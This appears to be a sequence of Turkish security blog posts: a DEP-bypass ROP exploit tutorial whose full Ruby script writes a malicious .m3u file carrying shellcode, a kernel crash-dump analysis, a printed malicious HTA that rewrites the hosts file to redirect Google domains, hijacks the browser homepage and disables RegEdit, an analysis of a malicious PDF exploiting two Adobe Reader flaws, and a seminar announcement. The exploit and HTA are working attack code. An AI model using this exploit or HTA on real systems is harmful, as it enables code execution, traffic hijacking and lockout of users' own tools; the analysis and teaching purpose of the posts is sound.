rop << [0x775DD86D].pack("V*") # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX + POP EBP + RETN 4 > ole32.dll
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x41414141].pack("V*") # trash for POP EBX
rop << [0x41414141].pack("V*") # trash for POP EBP

# ESI tekrar kurtarıldı
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x41414141].pack("V*") # trash for RETN 4
rop << [0x14141414].pack("V*") # trash for POP ESI
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll

# EAX'i VP()'nin 4.parametresi olan 0x40'a eşitliyoruz..
rop << [0x100307A9].pack("V*") # XOR EAX, EAX + RETN > MSRMfilter03.dll
rop << [0x7C972250].pack("V*") # ADD EAX,40 + POP EBP + RETN > ntdll.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# ESI+24'e EAX(0x40)'i yazdiriyoruz..
rop << [0x77ECF538].pack("V*") # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN > RPCRT4.dll
rop << [0x41414141].pack("V*") # trash for POP ESI

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f|
 f.write(payload)
}

Stack’in Son Durumu

Stack son durumu yukarıdaki gibi. VP()’nin tüm parametrelerini istediğimiz şekilde ayarladık. Şimdi tek yapmamız gereken ESP’yi VP()’nin başlangıcına (0x000FF748) eşitlemek ve RETN ile yeni ESP’ye dönmek ve DEP’i bypass etmek.

İlk olarak EAX’ı tekrar kurtarmam lazım. Ne gerek var EDI’yi kullan diyebilirsiniz belki ama EDI ile çok fazla gadget bulunamayabiliyor. Bu yüzden yine MOV EAX,EDI + POP ESI + RETN gadget’ı ile EAX’ı tekrar 0x000FF734 değerine eşitliyorum.

rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x41414141].pack("V*") # trash for POP ESI

Aşağıdaki resimden görebileceğiniz üzere VirtualProtect’in adresi ve parametreleri 0x000FF748 adresinden itibaren başlıyor. O zaman benim EAX’ı 0×14 (20d) kadar arttırmam ve ardından EAX’ı ESP’ye taşımam lazım.

EAX’ı arttırmak için bulabildiğim gadget’lar 0x77C1F2CF adresindeki ADD EAX,0C + RETN ve 0x1001D2AC adresindeki ADD EAX,4 + RETN gadget’ları. Gadget’ları aşağıdaki şekilde çalıştırarak EAX’ı 0x000FF748′e eşitliyorum. Ardından 0x77C15ED5 adresinde bulmuş olduğum XCHG ESP,EAX + RETN gadget’ı ilede ESP’yi 0x000FF748 EAX’ı ise ESP’nin değerine eşitliyorum (Bu aşamadan sonra çok önemli değil EAX’ın başına gelenler).

Bingo! VP() fonksiyonu başarıyla çağırıldı, shellcode’umun bulunduğu alan kod çalıştırılabilir hale getirildi ve shellcode’um çalıştı!

Exploit çalıştırılmadan önce

Exploit çalıştırıldıktan sonra

Son olarak, exploit’imin son hali şu şekilde;

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # 0x100102DC RET

# rop payload
rop = "FFFF"
rop << [0x5AD79277].pack("V*") # PUSH ESP + MOV EAX, EDX + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0xffffff14].pack("V*") # trash for POP
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll
# EDI, ESI ve EAX saved ESP'ye sahipler

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP EBP + RET
rop << [0x41414141].pack("V*") # trash for POP EBP

# VirtualProtect Placeholder
rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop << [0x44444444].pack("V*")
rop << [0x45454545].pack("V*")
rop << [0x46464646].pack("V*")
rop << [0x47474747].pack("V*")
rop << [0x10035005].pack("V*")

rop << [0x61616161].pack("V*") # some padding for add esp,20
rop << [0x61616161].pack("V*")

# EAX'i shellcode'a işaret ettiriyoruz
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first & second parameter of VP()
rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dll
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x41414141].pack("V*") # trash for POP EBp

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x14141414].pack("V*") # trash for RETN 4
rop << [0x62626262].pack("V*") # trash for POP ESI
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll

# EAX = 0x000FF734
# EDI = 0x000FF734
# ESI = 0x000FF734
# EAX'i shellcode size'a eşitliyoruz VP()'nin 3.parametresi olarak
rop << [0x77C4E0DA].pack("V*") # POP EAX + RETN > msvcrt.dll
rop << [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400
rop << [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX'i (0x300) ESI+20'ye taşıyoruz.. VP()'nin 3.parametresi
rop << [0x775DD86D].pack("V*") # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX + POP EBP + RETN 4 > ole32.dll
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x41414141].pack("V*") # trash for POP EBX
rop << [0x41414141].pack("V*") # trash for POP EBP

# ESI tekrar kurtarıldı
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x41414141].pack("V*") # trash for RETN 4
rop << [0x14141414].pack("V*") # trash for POP ESI
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll

# EAX'i VP()'nin 4.parametresi olan 0x40'a eşitliyoruz..
rop << [0x100307A9].pack("V*") # XOR EAX, EAX + RETN > MSRMfilter03.dll
rop << [0x7C972250].pack("V*") # ADD EAX,40 + POP EBP + RETN > ntdll.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# ESI+24'e EAX(0x40)'i yazdiriyoruz..
rop << [0x77ECF538].pack("V*") # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN > RPCRT4.dll
rop << [0x41414141].pack("V*") # trash for POP ESI

# Trying to point ESP to EAX (VP()!)
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x77C1F2CF].pack("V*") # ADD EAX,0C + RETN > msvcrt.dll
rop << [0x1001D2AC].pack("V*") # ADD EAX,4 + RETN > MSRMfilter03.dll
rop << [0x1001D2AC].pack("V*") # ADD EAX,4 + RETN > MSRMfilter03.dll
rop << [0x77C15ED5].pack("V*") # XCHG ESP,EAX + RETN > msvcrt.dll

# shellcode to execute from stack when ROP success
nops = ("\x90" * 100)
shellcode = "\xbb\xfd\x1c\xf5\x42\xd9\xc0\xd9\x74\x24\xf4\x5d\x33\xc9" +
"\xb1\x33\x31\x5d\x12\x03\x5d\x12\x83\x10\xe0\x17\xb7\x16" +
"\xf1\x51\x38\xe6\x02\x02\xb0\x03\x33\x10\xa6\x40\x66\xa4" +
"\xac\x04\x8b\x4f\xe0\xbc\x18\x3d\x2d\xb3\xa9\x88\x0b\xfa" +
"\x2a\x3d\x94\x50\xe8\x5f\x68\xaa\x3d\x80\x51\x65\x30\xc1" +
"\x96\x9b\xbb\x93\x4f\xd0\x6e\x04\xfb\xa4\xb2\x25\x2b\xa3" +
"\x8b\x5d\x4e\x73\x7f\xd4\x51\xa3\xd0\x63\x19\x5b\x5a\x2b" +
"\xba\x5a\x8f\x2f\x86\x15\xa4\x84\x7c\xa4\x6c\xd5\x7d\x97" +
"\x50\xba\x43\x18\x5d\xc2\x84\x9e\xbe\xb1\xfe\xdd\x43\xc2" +
"\xc4\x9c\x9f\x47\xd9\x06\x6b\xff\x39\xb7\xb8\x66\xc9\xbb" +
"\x75\xec\x95\xdf\x88\x21\xae\xdb\x01\xc4\x61\x6a\x51\xe3" +
"\xa5\x37\x01\x8a\xfc\x9d\xe4\xb3\x1f\x79\x58\x16\x6b\x6b" +
"\x8d\x20\x36\xe1\x50\xa0\x4c\x4c\x52\xba\x4e\xfe\x3b\x8b" +
"\xc5\x91\x3c\x14\x0c\xd6\xb3\x5e\x0d\x7e\x5c\x07\xc7\xc3" +
"\x01\xb8\x3d\x07\x3c\x3b\xb4\xf7\xbb\x23\xbd\xf2\x80\xe3" +
"\x2d\x8e\x99\x81\x51\x3d\x99\x83\x31\xa0\x09\x4f\x98\x47" +
"\xaa\xea\xe4"
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{rop.length}"

File.open("rop2.m3u", "w") { |f|
 f.write(payload)
}

Referanslar
[1] http://msdn.microsoft.com/en-us/library/aa366898(v=vs.85).aspx
[2] http://msdn.microsoft.com/en-us/library/aa366786(v=vs.85).aspx

Bir coğumuz, Unix benzeri işletim sistemleri üzerinde çalısırken, özellikle ”Kernel Derleme” esnasında veya “modüller” ile ilgili işlemler sırasında bir çoğumuz sistemlerin kernel bazında çökmesine tanık olmuştur. Bu gibi durumlarda Unix işletim sistemlerinin “Kernel Oops!” veya “Kernel Panic” mesajları sistem yöneticileri için oldukça korkutucu olabilir.Çunku bu bir çok sistem yöneticisi için sistemin artık ayağa kaldirilamayacağı ve yeni bir iş yükünün habercisi anlamini taşımaktadır.Aslında durum bunun tam tersi, mevcut mesaj ve dump ettiği veri sorunun nereden kaynaklandığı bilgisini taşımakta, bu tip verilerde problemin çözümü ve hatanın takibi aşamasında oldukça yardımcı olmaktadır.

Bu tip durumların sebeplerinin çesitlilik gösterebileceğini daha önce söylemiştim fakat programcıların karşılastığı en temel durumlardan biri hafıza bloğu sorunlarıdır.Örneğin, hafıza bloklari sistem içerisinde kullanılabilir durumda olmadığı halde kullanıma açık görülebilir.Bunun neden veya nasıl olduğu konusu spesifiktir çünkü incelenen kapsamın dışına çıkmak gerekebilir _ki_ bu mevcut süreci çok daha karmaşık hale getirebilir. Bu tip yanlis bildirimler esnasında “Kernel Panic” fonksiyonu devreye girer ve bütünlüğe aykırı durumları kullanıcıya bildirir.Linux çekirdeğinin ilk versiyonlarında aşagıdaki fonksiyon bu görevi yerine getirmekteydi.

--snip--

asmlinkage void sys_sync(void);	 

extern int vsprintf(char * buf, const char * fmt, va_list args);

NORET_TYPE void panic(const char * fmt, ...)
{
	static char buf[1024];
	va_list args;

	va_start(args, fmt);
	vsprintf(buf, fmt, args);
	va_end(args);
	printk(KERN_EMERG "Kernel panic: %s\n",buf);
	if (current == task[0])
		printk(KERN_EMERG "In swapper task - not syncing\n");
	else
	 	sys_sync();
	for(;;);
}

--snip--

Probleme dair nispeten kısıtlı bilgiler ekrana basılır ve sistem son satırda görebileceğiniz gibi “for(;;);” döngüsü sayesinde kilitlenirdi. Referans gösterilerilen sistem kaynaklarının bütünlüğü kontrol edilir ve bu fonksiyona cağrı yapılır.Söz konusu fonksiyon için bilinmesi gereken en önemli husus bu fonksiyonun sadece “kernel mode” seviyesinde çağrıldığıdır. Bir yazılımın içerisinde oluşturduğu bir hata bu fonksiyonu tetikler. Bu durum özellikle “device driver” gibi modullerde oldukça rastlanan bir durum.Program akışı hali hazırda “kernel mode” seviyesinde gerçekleştiği için söz konusu cağrı yapılır.

Genel olarak çalışma prensibi hafıza içeriğinin bir kopyasını bir alana atar.Yani mevcut durumun bir imajını dump için ayrılan bölume atar (bkz:swap).Imaj yapısı dosya formatlarından’da bilindiği gibi çeşitli başlık bilgileriyle beraber “magic number” denilen ve alınan imajın “crash dump” olduğunu belirten numaralardır.”Kernel Panic” çiktisi basitçe mevcut işlemci durumunun kritik olabilecek bilgilerini ekrana basar.Örnek olarak, “register”, ”stack” “pointer”, “trigger” gibi bilgiler verilebilir.Örnek bir “crash” mesajı aşağıdan görüntülenebilir.

--snip--

[13048,432026] EIP: 0060:[] EFLAGS: 00000246: 0
[13048,432026] EIP is at intel_idle+0xb8/0x110
[13048,432026] FAX: 00000000 EBX: 00000000 ECX: 00001f45 EDX: 00000000
[13048,432026] ESI: 122a8fb9 EDI: 00000010 EBP: c172df60 ESP: c172df48
[13048,432026]  DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
[13048,432026] Process swapper (pid:0, ti=f400a000 task=c1731f60
task.ti=c172c000)
[13048,432026] Stack:
[13048,432026] 00001f45 00000000 00000000 c1788e4c f500ab5c 373b7000
c172df80 c14061fd
[13048,432026] f500ac74 00000000 00000000 c1788e4c 00000000 373b7000
c172dfa0 c10019ca
[13048,432026] c1038d2e 00000000 6a52190c 4514d425 c17cda60 65e82d9e
c172dfa8 c14f0d2d
[13048,432026] Call Trace:
[13048,432026] [] cpuidle_idle_call+0x7d/0x160
[13048,432026] [] cpu_idle+0x8a/0xc0
[13048,432026] [] ? complete+0x4e/0x60
[13048,432026] [] rest_init+0x5d/0x70
[13048,432026] [] start_kernel+0x35f/0x366
[13048,432026] [] ? pass_all_bootoptions+0x0/0xa
[13048,432026] [] i386_start_kernel+0xe0/0xe8
[13048,432026] Code: c9 e8 3d 5a db ff 29 d8 bb 40 42 0f 00 19 f2 e8 9f 28
d9 ff 89 d1 f7 eb 89 cb c1 fb 1f 89 45 e8 01 3d e8 89 55 ec 11 5d ec fb 90
 74 26 00 85 3d 20 15 76 c1 75 0d 8d 55 f0 b8 05 00 00 00 e8
[13048,432026] Call Trace:
[13048,432026] [] cpuidle_idle_call+0x7d/0x160
[13048,432026] [] cpu_idle+0x8a/0xc0
[13048,432026] [] ? complete+0x4e/0x60
[13048,432026] [] rest_init+0x5d/0x70
[13048,432026] [] start_kernel+0x35f/0x366
[13048,432026] [] ? pass_all_bootoptions+0x0/0xa
[13048,432026] [] i386_start_kernel+0xe0/0xe8

--snip--

Yukarıda görüldüğü gibi sistem üzerindeki işlemcinin durumuna dair bir çok bilgi ekrana basıldı.Burada önemli bir husus yukarıdaki çıktıda “bug trigger” açıkça görülüyor.Mevcut sorunun nereden kaynaklandığına dair problemi bulmak herhangi bir debugger/disassembler ile mümkün.Bazi durumlarda özellikle Solaris üzerinde benzeri “dump data” aldığımızda sorunun tetiklendiği kod parçasınıda ekrana basabilmekte ama bu durum çok nadir gerçekleşmekte.Onun yerine klasik bir çıktı aldığımızda yapılacak en temel şey “call” edilen fonksiyon adresini “kernel symbol table” içerisinde bulmak ve ardından az önce’de bahsettiğim gibi “machine code” seviyesinde incelemek.

Çıktıda ki bilgilerden anlaşılacaği üzere “kernel panic” bir “trap” oluşturduğunda o an ki “stack traceback” sonucunu döndürür.Hexadecimal olarak ”routine” ve “subroutine” adresleri ekranda görülüyor.LRU olarak “routine” çağırımı görülüyor en çok başvuru yapılan ve daha az başvuru yapılan rutinlerin sıralaması fonksiyon dahilindedir.Bunlar genelde sistem çağrıları ve “interrupt handle” eden rutinlerdir.Parametrelerin anlaşılması ve belki hatanın tekrarlanması “crash analysis” sonucunda anlaşılır.

Eğer olası bir hatanın ardından sistemin “reboot” olması durumu söz konusuysa, kısa bir süre içinde olsa bir sistem yöneticisi için iyi bir haber fakat her iki durumda’da burada anlatılan adımların bir kısmını veya tamamını tekrarlamak zorunda kalabilirsiniz.

--snip--

   	leave
   	call   0x7dffa83
   	sub    %ebx,%eax
   	mov    $0xf4240,%ebx
   	sbb    %esi,%edx
   	call   0x7ddc8f3
   	mov    %edx,%ecx
   	imul   %ebx
   	mov    %ecx,%ebx
   	sar    $0x1f,%ebx
   	mov    %eax,-0x18(%ebp)
   	add    %edi,0xec5589e8
   	adc    %ebx,-0x14(%ebp)
   	sti
   	nop
   	lea    0x0(%esi,%eiz,1),%esi
   	test   %edi,0xc1761520
   	jne    0x804a084
   	lea    -0x10(%ebp),%edx
   	mov    $0x5,%eax
   	call   0x804a084 

--snip--

Yukarıda hataya sebebiyet veren satırı, kodu “diassemble” ettiğimizde oldukça açık bir şekilde görebiliyoruz.Söz konusu problemi ortadan kaldırmak istiyorsak sıkıcı bir süreç bizi bekliyor demektir.Çünkü ilgili assembly kodunu kaynak kod ile karşılaştırmamız gerekecektir _ki_ bu oldukça yorucu ve sıkıcı bir süreç anlamına gelmekte.Oluşan “trap” ile elde edilen hatanın “trigger” bilgisi aşağıdaki gibidir.

--snip--
   	mov    %eax,-0x18(%ebp)
   	add    %edi,0xec5589e8
   	adc    %ebx,-0x14(%ebp)
   	sti
   	nop
   	lea    0x0(%esi,%eiz,1),%esi // hatayi tetikleyen tam satir.
--snip--

Örneğin aşağıda ki koda ulaşmam biraz vakit aldı kaynak kodun ne şekilde olabileceğini bilemediğimiz ve sembolleri tahmin edemeyeceğimizden dolayı bu süreci yaşamamız gerekiyor, tabii ki sorun daha önceden birileri tarafından yaşandıysa yine kaynak koda ulaştıktan sonra bunu öğrenebiliyoruz bunun aksi ne yazık ki şimdilik mümkün değil.

--snip--

	for (i = 0; i count && i length)) : list->bss_info;
		ASSERT(((uintptr)bi + dtoh32(bi->length)) BSSID, ETHER_ADDR_LEN);
		event = IWE_STREAM_ADD_EVENT(info, event, end, &iwe,
		IW_EV_ADDR_LEN);

		iwe.u.data.length = dtoh32(bi->SSID_len);
		iwe.cmd = SIOCGIWESSID;
		iwe.u.data.flags = 1;
		event = IWE_STREAM_ADD_POINT(info, event, end, &iwe,
		bi->SSID);

		if (dtoh16(bi->capability) & (DOT11_CAP_ESS |
		DOT11_CAP_IBSS)) {
			iwe.cmd = SIOCGIWMODE;
			if (dtoh16(bi->capability) & DOT11_CAP_ESS)
				iwe.u.mode = IW_MODE_INFRA;
			else
				iwe.u.mode = IW_MODE_ADHOC;
			event = IWE_STREAM_ADD_EVENT(info, event, end,
			&iwe, IW_EV_UINT_LEN);
		}

--snip--

Yukarıdaki işlemleri gerçekleştirmenizdeki amaca bağlı olarak ne yapacağınız tamamen sizinle ilgili bir durum. Bu noktada sorunun giderilmesi için bekleyebilir, ilgili sorunun “bug tracker” aracılığı ile çözüme ulaşmasını umabilirsiniz. Günümüzde hali hazırda bu tip sorunların çözümünde sorunun “kernel icin yama” yazanların önüne düşmesini beklemek surekliliğin aksaması açısından problem olabilir. Bu iki şekilde cözüme kavuşturulabilir eger yeteri kadar teknik bilginiz varsa ilgili problemin aşımında “patch” yazabilir veya sorunun çözülmesi için gerekli modifikasyonları yapabilirsiniz. İkinci yöntem ise _ki bu yine beklemeyi gerektirir_ sorunun “kernel icin resmi patch” yazanlar yerine “outsource” gibi/benzeri bir hizmetten yararlanarak bekleme suresini kısaltabilirsiniz.

Burada dikkat çekilmesi gereken bir diğer nokta ise Unix güvenliği ile ilgili olan kanı. Sistemler üzerinde “vulnerable” veya “non-vulnerable” olan sorunların her sistem üzerinde oluşabileceği ama süreklilik açısından _ki bu open source ile ilgilidir_ Unix sistemlerin bir adım onde olduğu gerçegi.

Bu konuya uzun zamandır bir giriş yapmak istiyordum yazı oldukça vaktimi aldı ama umuyorumki konuyla ilgilenen kişiler için başlangıç seviyesinde tatmin edici olmuştur.

<html><head>
<hta:application id=hta_note_id applicationName=hta_note_name showInTaskBar=no
caption=no innerBorder=no selection=no scroll=no contextmenu=no />

</script>

<script language=javascript>
window.resizeTo(0, 0);
window.moveTo(0, 0);
</script>

<SCRIPT language=vbs>
Dim fsoObject, open_File, target_File
Set fsoObject = CreateObject("Scripting.FileSystemObject")

' ### set the file name to include the variable   from the process above
target_File =   "C:\WINDOWS\system32\drivers\etc\Hosts"

If (fsoObject.FileExists(target_File)) Then
    Set open_File = fsoObject.OpenTextFile(target_File, 8 )
Else
    Set open_File = fsoObject.OpenTextFile(target_File, 2, "True")
End If

'Edit Line below with ip and hostname
open_File.WriteLine "46.45.160.179   www.google.com.tr"
open_File.WriteLine "46.45.160.179   www.google.co.uk"
open_File.WriteLine "46.45.160.179   www.google.ca"
open_File.WriteLine "46.45.160.179   www.google.com.br"
open_File.WriteLine "46.45.160.179   www.google.co.il"
open_File.WriteLine "46.45.160.179   www.google.com.ar"
open_File.WriteLine "46.45.160.179   www.google.com.my"
open_File.WriteLine "46.45.160.179   www.google.gr"
open_File.WriteLine "46.45.160.179   www.google.com.ph"
open_File.WriteLine "46.45.160.179   www.google.com.tw"
open_File.WriteLine "46.45.160.179   www.google.co.id"
open_File.WriteLine "46.45.160.179   www.google.co.in"
open_File.WriteLine "46.45.160.179   www.google.com.au"
open_File.WriteLine "46.45.160.179   www.google.ru"
open_File.WriteLine "46.45.160.179   www.google.co.nz"
open_File.WriteLine "46.45.160.179   www.google.com.pk"
open_File.WriteLine "46.45.160.179   www.google.dk"
open_File.WriteLine "46.45.160.179   www.google.pt"
open_File.WriteLine "46.45.160.179   www.google.es"
open_File.WriteLine "46.45.160.179   www.google.se"
open_File.WriteLine "46.45.160.179   www.google.de"
open_File.WriteLine "46.45.160.179   www.google.com.hk"
open_File.WriteLine "46.45.160.179   www.google.fr"
open_File.WriteLine "46.45.160.179   www.google.co.jp"
open_File.WriteLine "46.45.160.179   www.google.com.mx"
open_File.WriteLine "46.45.160.179   www.google.com.sa"
open_File.WriteLine "46.45.160.179   www.google.com.sg"
open_File.WriteLine "46.45.160.179   www.google.cn"
open_File.WriteLine "46.45.160.179   www.google.com.eg"
open_File.WriteLine "46.45.160.179   www.google.com.ba"
open_File.WriteLine "46.45.160.179   www.google.com.at"
open_File.WriteLine "46.45.160.179   www.google.be"
open_File.WriteLine "46.45.160.179   www.google.ch"
open_File.WriteLine "46.45.160.179   www.google.no"
open_File.WriteLine "46.45.160.179   www.google.sk"
open_File.WriteLine "46.45.160.179   www.google.fi"
open_File.WriteLine "46.45.160.179   search.yahoo.com"
open_File.WriteLine "46.45.160.179   www.baidu.com"
open_File.Close()

Set shell = CreateObject("WScript.Shell")
shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.aramamoturu.com","REG_SZ"
shell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\\DisableRegistryTools","00000001","REG_DWORD"
</script>
</head>
</body>
</html>

Bu registry değerleri içinde en alttaki dikkat çekici bir değer. HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ anahtarı altında yer alan DisableRegistryTools değeri ilgili sistemde registry editörünün (RegEdit) çalıştırılmasını engelleyen bir değer ve bu değer 1’e set edilmiş durumda. Eğer kullanıcı bu dosyayı çalıştırırsa bir daha RegEdit uygulamasını çalıştıramayacak demektir.  Bu durumda registry üzerinde içlem yapmak için alternatif yollara başvurmak gerekecek. Takip edilebilecek yollardan birisi  http://support.microsoft.com/kb/831787 adresindeki makalede açıklanan adımları izlemek. İkinci yol ise, eğer kullanıcı RegEdit uygulamasını çalıştıramadığını bilgisayarını yeniden başlatmadan farkederse, bu durumda  bilgisayarını yeniden başlatmalı ve  ve Windows açılış ekranından “Last Known Good Configuration” seçeneğini seçerek eski registry hive’leri ile sistemi yeniden başlatmalıdır.

Kurulumu

Öncelikle şunu belirtmekte fayda var, saldırganlar genel olarak Windows işletim sistemi kullanan kurbanları hedef aldığı için zararlı PDF dosyalarının analizinde Windows haricinde bir işletim sistemi kullanmak en güvenli yol olacaktır. Bizde bu makalede çalışmalarımızı Linux işletim sistemi altında yapıyor olacağız. Origami, Ruby programlama dili ile geliştirildiği için sisteminizde Rubygems’in bulunması kurulumu kolaylaştıracaktır.

[cb@adeo:~]> gem install origami
WARNING: Installing to ~/.gem since /var/lib/gems/1.8 and
/var/lib/gems/1.8/bin aren't both writable.
Successfully installed origami-1.0.3
1 gem installed
Installing ri documentation for origami-1.0.3...
Installing RDoc documentation for origami-1.0.3...

Yukarıdaki komut ile Origami’yi sistemimize kurduk. Örnekte hata mesajına aldırış etmeyin, sadece kurulumu root haklarıyla yapmadığım için çıkan bir hata mesajı. Ayrıca Origami ile birlikte gelen araçlara kolayca ulaşabilmek için ise sisteminizdeki PATH değişkenine /home/user/.gem/ruby/1.8/bin dizininide eklemeniz gerekmekte. Burada user sizin
sisteminizdeki kullanıcı adınız.

Ayrıca pdfwalker isimli aracı kullanabilmemiz için yine gem ile gtk2 kütüphanesini kurmamız gerekmektedir çünkü pdfwalker komut satırından değil görsel arayüz ile çalışmakta.

Analiz

Origami’yi başarılı bir şekilde kurduğumuza göre analize başlayabiliriz. İlk olarak komut satırına pdfwalker yazıyoruz. Gelen arayüzden parse edilmesini istediğimiz zararlı PDF dosyasını seçiyoruz.

Yukarıda gördüğünüz gibi parse ettiğimiz PDF dosyasının 9 0 R başlığıyla tanımlı stream’deki verileri JavaScript olarak çalıştırdığını görüyoruz. Body’nin içindeki Stream kısmına giderek bu çalıştırılacak JavaScript kodunun neye benzediğine bakabiliriz.

Gördüğünüz üzere bir takım fonksiyonların tanımlı olduğu ve obfuscation işlemi uygulanmış bir JavaScript kod blogu ile karşı karşıyayız. Şimdi ise yapacağımız işlem bu JavaScript kodunu PDF içerisinden çıkartmak ve analizini yapmak. Bunun içinde yine Origami ile birlikte gelen pdfextract komutunu aşağıdaki şekilde çalıştırıyoruz.

Dump klasöründe parse işlemi sonunda tespit edilen Stream objelerinin dışa çıkartılmış haline erişiyoruz. Bundaki sonraki kısımı elle yapacağız ve zararlı PDF dosyasının ne tür bir yöntem kullandığını tespit etmeye çalışacağız.

Çıkartılan JavaScript kodu decode64 fonksiyonu içeriyordu ve decode64 ile çözdüğü veriyi JavaScript’in eval methodu ile yine JS olarak çalıştıyordu. Kodu analiz edebilmek için ilgili çıkartılan JS kodunda ufak bir oynama yaptım ve eval yerine document.write methodunu kullanarak yukarıda görmüş olduğunuz esas JavaScript koduna ulaştım.

WEUTvtKh1zGdD6BJ isimli değişken bir shellcode saklamakta. Ardından app.doc.Collab.getIcon methodu çağrılmakta. Yani bu PDF dosyası hedef sistemde ilk olarak CVE-2009-0927 (Adobe Acrobat and Reader Collab ‘getIcon()’ JavaScript Method Remote Code Execution) zafiyetini exploit etmeye çalışmakta. Eğer app.Collab.getIcon methodunu bulamazsa bu sefer bir sonraki koşula geçiyor ve util.printf methodunu yine özel olarak hazırlanmış bir değer ile çağırıyor. Yani ilk seferde başarısız olursa ikinci sefer CVE-2008-2992 (Adobe Reader ‘util.printf()’ JavaScript Function Stack Buffer Overflow) zafiyetini exploit ediyor. Bu zararlı PDF dosyasının çalışma yöntemiyle ilgili olarak aşağıdaki gibi bir şema çıkardım. İlk olarak PDF dosyası çalışıyor, daha sonra içerisindeki gömülü JavaScript kodu çalışıyor ve bu JavaScript koduda Adobe Acrobat ve Adobe Reader’daki iki güvenlik açığını exploit ederek sistemi ele geçirmeye çalışıyor.

Son zamanlarda benzer yöntemleri kullanan birçok zararlı dosyaya rastladım. Özellikle sızdırılan Exploit Pack’lerde yaptığım analizlerde (örnekteki dosyada Eleanore Pack’ten barındıran zararlı bir siteden elde edilmiştir) aynı yöntemlerin birçok Exploit Pack tarafından kullanıldığını söyleyebilirim.

Özellikle Exploit Pack’lerin yaygınlaşması ve yeni saldırı/yayılma tekniklerinin çıkması bizlere analiz edebileceğimiz daha zevkli vakalar oluşturmakta. Siz siz olun bilmediğiniz dosyaları açmayın.

28 Haziran 2011 tarihinde HP Yazılım – İnovasyon Merkezi’nde gerçekleştirmiş olduğumuz “Web Tehditlerine Karşı Hazırlıklı Olun” isimli seminerimize ait sunum ve fotoğraflar aşağıdadır. Katılan herkese teşekkürler umarız faydalı geçmiştir.

Sunum Dosyası (PDF):
http://www.adeosecurity.com/sunum/HP-AppSec-Presentation.pdf

Fotoğraflar :
http://www.adeosecurity.com/sunum/hp-sunum-resimler.zip

Şirketinizin internete açık yüzü olan web uygulamalarınızın güvenliği gün geçtikçe daha da kritik bir hal almaktadır. Şirketinizdeki kritik ve gizli bilgilerin ele geçirilmesinden tutun da, şirketinizin ciddi maddi cezalara ya da kayıplara uğramasına sebep olabilecek tehlikeleri gözler önüne sereceğimiz bu seminerimizde kritik web uygulama zafiyetleri ele alınıp, örnek saldırılar üzerinden tehditler incelenecek ve bu tehditlere karşı nasıl önlem alınabileceğine değinilecektir.

Seminer ADEO Security Labs’tan Canberk BOLAT tarafından verilecektir.

Tarih: 28 Haziran 2011, Salı
Saat: 13:30 – 17:00
Yer: HP Yazılım – İnovasyon Merkezi, İstanbul kroki
Adres: İstanbul Teknik Üniversitesi, Elektrik-Elektronik Fakültesi Binası, Maslak – İstanbul
LCV: Filiz Karcı filiz.karci@hp.com Tel: 0530 976 58 79

İçerik:

• Web Uygulamalarının Genel Yapısı
• Web Uygulamalarına Yönelik Saldırılar
  • Uygulamalara Gelen Saldırıların Nedenleri
  • Uygulamalar Neden Güvensiz
  • Birkaç Popüler Web Uygulamasının Hack Edilme Süreçleri
• SQL Injection
• Cross-Site Scripting (XSS)
• Mantıksal Açıklıklar
• Uygulama Güvenlik Testleri

Dropbox

